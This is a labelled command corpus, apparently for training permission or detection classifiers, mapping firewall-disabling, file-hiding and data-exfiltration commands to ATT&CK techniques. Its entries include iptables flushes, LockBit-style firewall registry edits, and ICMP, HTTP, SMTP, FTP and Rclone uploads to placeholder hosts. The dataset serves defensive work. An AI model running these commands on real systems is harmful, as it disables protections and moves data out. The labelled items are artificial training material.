cowWhySo/permission-command-corpus huggingface dataset:
Command: ufw logging low ufw status verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Turn off UFW logging
Notes: Turn off the Uncomplicated Firewall (UFW) logging.
Command: ufw prepend deny from 1.2.3.4 ufw status numbered
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Add and delete UFW firewall rules
Notes: Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled.
Command: { echo y; echo response; } | ufw delete 1 ufw status numbered
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Add and delete UFW firewall rules
Notes: Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled.
Command: echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f - pfctl -a pf-rules -s rules
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Add and delete Packet Filter rules
Notes: Add and delete a rule on the Packet Filter (PF) if installed and enabled.
Command: pfctl -a pf-rules -F rules sed -i "" '/anchor pf-rules/d' pfctl -f /etc/pf.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Add and delete Packet Filter rules
Notes: Add and delete a rule on the Packet Filter (PF) if installed and enabled.
Command: echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules grep "# THIS IS A COMMENT" /etc/ufw/user.rules
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall user.rules file
Notes: Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.
Command: sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall user.rules file
Notes: Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.
Command: echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall ufw.conf file
Notes: Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf 
which controls if the firewall starts on boot and its logging level.
Command: sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf cat /etc/ufw/ufw.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall ufw.conf file
Notes: Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf 
which controls if the firewall starts on boot and its logging level.
Command: echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall sysctl.conf file
Notes: Edit the Uncomplicated Firewall (UFW) configuration file for setting network 
variables /etc/ufw/sysctl.conf.
Command: sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf cat /etc/ufw/sysctl.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall sysctl.conf file
Notes: Edit the Uncomplicated Firewall (UFW) configuration file for setting network 
variables /etc/ufw/sysctl.conf.
Command: echo "# THIS IS A COMMENT" >> /etc/default/ufw grep "# THIS IS A COMMENT" /etc/default/ufw
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall main configuration file
Notes: Edit the Uncomplicated Firewall (UFW) main configuration file for setting 
default policies /etc/default/ufw.
Command: sed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Edit UFW firewall main configuration file
Notes: Edit the Uncomplicated Firewall (UFW) main configuration file for setting 
default policies /etc/default/ufw.
Command: tail /var/log/ufw.log
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Tail the UFW firewall log file
Notes: Print  the last 10 lines of the Uncomplicated Firewall (UFW) log file 
/var/log/ufw.log.
Command: iptables-save > /tmp/iptables.rules iptables -F
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Disable iptables
Notes: Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) 
Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables 
rules, which in fact "disable" iptables.
Command: iptables-restore < /tmp/iptables.rules
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Disable iptables
Notes: Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) 
Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables 
rules, which in fact "disable" iptables.
Command: iptables -D OUTPUT -p tcp --dport 21 -j DROP
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Modify/delete iptables firewall rules
Notes: Instead of completely "disabling" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.
By doing so, they may cause less noise to avoid detection.
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: LockBit Black - Unusual Windows firewall registry modification -cmd
Notes: An adversary tries to modify the windows firewall registry
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: LockBit Black - Unusual Windows firewall registry modification -cmd
Notes: An adversary tries to modify the windows firewall registry
Command: New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: LockBit Black - Unusual Windows firewall registry modification -Powershell
Notes: An adversary tries to modify the windows firewall registry.
Command: Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: LockBit Black - Unusual Windows firewall registry modification -Powershell
Notes: An adversary tries to modify the windows firewall registry.
Command: netsh firewall set opmode mode=disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Blackbit - Disable Windows Firewall using netsh firewall
Notes: An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works).
Command: netsh firewall set opmode mode=enable >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Blackbit - Disable Windows Firewall using netsh firewall
Notes: An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works).
Command: #{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1562.004\src\esxi_disable_firewall.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: ESXi - Disable Firewall via Esxcli
Notes: Adversaries may disable the ESXI firewall via ESXCLI
Command: #{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1562.004\src\esxi_enable_firewall.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: ESXi - Disable Firewall via Esxcli
Notes: Adversaries may disable the ESXI firewall via ESXCLI
Command: New-NetFirewallRule -DisplayName "New rule" -Direction "#{direction}" -LocalPort "#{local_port}" -Protocol "#{protocol}" -Action "#{action}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Set a firewall rule using New-NetFirewallRule
Notes: This test will attempt to create a new inbound/outbound firewall rule using the New-NetFirewallRule commandlet.
Command: Remove-NetFirewallRule -DisplayName "New rule"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Set a firewall rule using New-NetFirewallRule
Notes: This test will attempt to create a new inbound/outbound firewall rule using the New-NetFirewallRule commandlet.
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli network firewall set --default-action true"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: ESXi - Set Firewall to PASS Traffic
Notes: This test sets the default ESXi firewall action to PASS instead of DROP. This allows all incoming and outgoing traffic.
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli network firewall set --default-action false"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: ESXi - Set Firewall to PASS Traffic
Notes: This test sets the default ESXi firewall action to PASS instead of DROP. This allows all incoming and outgoing traffic.
Command: $ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: windows
ATT&CK tags: T1048.003
Source rule: Exfiltration Over Alternative Protocol - ICMP
Notes: Exfiltration of specified file over ICMP protocol.

Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
Command: $content = Get-Content #{input_file} Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: windows
ATT&CK tags: T1048.003
Source rule: Exfiltration Over Alternative Protocol - HTTP
Notes: Exfiltration of specified file over HTTP.
Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.
Command: Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: windows
ATT&CK tags: T1048.003
Source rule: Exfiltration Over Alternative Protocol - SMTP
Notes: Exfiltration of specified file over SMTP.
Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.
Command: $Dir_to_copy = "$env:windir\temp" $ftp = "ftp://#{ftp_server}/" $web_client = New-Object System.Net.WebClient $web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}') if (test-connection -count 1 -computername "#{ftp_server}" -quiet) {foreach($file in (dir $Dir_to_copy "*.7z")) {echo "Uploading $file..." $uri = New-Object System.Uri($ftp+$file.name) $web_client.UploadFile($uri, $file.FullName)}} else {echo "FTP Server Unreachable. Please verify the server address in input args and try again."}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: windows
ATT&CK tags: T1048.003
Source rule: MAZE FTP Upload
Notes: This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.
Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. 
Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
Command: $ftp = "ftp://#{ftp_server}/" try {foreach ($file in (dir "$env:windir\temp" "*.7z")) {$uri = New-Object System.Uri($ftp+$file.name) $ftp_del = [System.Net.FtpWebRequest]::create($uri) $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}') $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile $ftp_del.GetResponse()}} catch{}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: windows
ATT&CK tags: T1048.003
Source rule: MAZE FTP Upload
Notes: This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.
Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. 
Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
Command: $rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName $exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName &$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass} &$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: windows
ATT&CK tags: T1048.003
Source rule: Exfiltration Over Alternative Protocol - FTP - Rclone
Notes: Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server.
[Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)
Command: [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.003
Platform: linux
ATT&CK tags: T1048.003
Source rule: Python3 http.server
Notes: An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable.
Command: net time \\#{computer_name} w32tm /tz
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1124
Platform: windows
ATT&CK tags: T1124
Source rule: System Time Discovery
Notes: Identify the system time. Upon execution, the local computer system time and timezone will be displayed.
Command: W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1124
Platform: windows
ATT&CK tags: T1124
Source rule: System Time Discovery W32tm as a Delay
Notes: identifies DCRat delay time tactics using w32tm.
https://research.splunk.com/endpoint/b2cc69e7-11ba-42dc-a269-59c069a48870/
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
Command: reg query "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" /v TimeZoneKeyName
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1124
Platform: windows
ATT&CK tags: T1124
Source rule: Discover System Time Zone via Registry
Notes: Identify the Operating System Time Zone via registry with the reg.exe command.
Upon execution, the system Time Zone will be shown.
Command: mkdir /var/tmp/.hidden-directory echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: linux,macos
ATT&CK tags: T1564.001
Source rule: Create a hidden file in a hidden directory
Notes: Creates a hidden file inside a hidden directory
Command: rm -rf /var/tmp/.hidden-directory/
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: linux,macos
ATT&CK tags: T1564.001
Source rule: Create a hidden file in a hidden directory
Notes: Creates a hidden file inside a hidden directory
Command: xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: macos
ATT&CK tags: T1564.001
Source rule: Mac Hidden file
Notes: Hide a file on MacOS
Command: attrib.exe +s #{file_to_modify}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows System File with Attrib
Notes: Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
and observe that the Attributes are "SA" for System and Archive.
Command: del /A:S #{file_to_modify} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows System File with Attrib
Notes: Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
and observe that the Attributes are "SA" for System and Archive.
Command: attrib.exe +h #{file_to_modify}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows Hidden File with Attrib
Notes: Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes are "SH" for System and Hidden.
Command: del /A:H #{file_to_modify} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows Hidden File with Attrib
Notes: Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes are "SH" for System and Hidden.
Command: setfile -a V #{filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: macos
ATT&CK tags: T1564.001
Source rule: Hidden files
Notes: Requires Apple Dev Tools
Command: touch /var/tmp/T1564.001_mac.txt chflags hidden /var/tmp/T1564.001_mac.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: macos
ATT&CK tags: T1564.001
Source rule: Hide a Directory
Notes: Hide a directory on MacOS
Command: rm /var/tmp/T1564.001_mac.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: macos
ATT&CK tags: T1564.001
Source rule: Hide a Directory
Notes: Hide a directory on MacOS
Command: defaults write com.apple.finder AppleShowAllFiles YES
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: macos
ATT&CK tags: T1564.001
Source rule: Show all hidden files
Notes: Show all hidden files on MacOS
Command: defaults write com.apple.finder AppleShowAllFiles NO
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: macos
ATT&CK tags: T1564.001
Source rule: Show all hidden files
Notes: Show all hidden files on MacOS
Command: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Hide Files Through Registry
Notes: Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.
See how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx
Command: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Hide Files Through Registry
Notes: Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.
See how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx
Command: $file = Get-Item $env:temp\T1564.001-9.txt -Force $file.attributes='Hidden'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows Hidden File with powershell
Notes: Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is "H" Hidden.
Command: cmd /c 'del /A:H #{file_to_modify} >nul 2>&1'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows Hidden File with powershell
Notes: Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is "H" Hidden.
Command: $file = Get-Item $env:temp\T1564.001-10.txt -Force $file.attributes='System'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.001
Platform: windows
ATT&CK tags: T1564.001
Source rule: Create Windows System File with powershell
Notes: Creates a file and marks it as System through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is "S" System.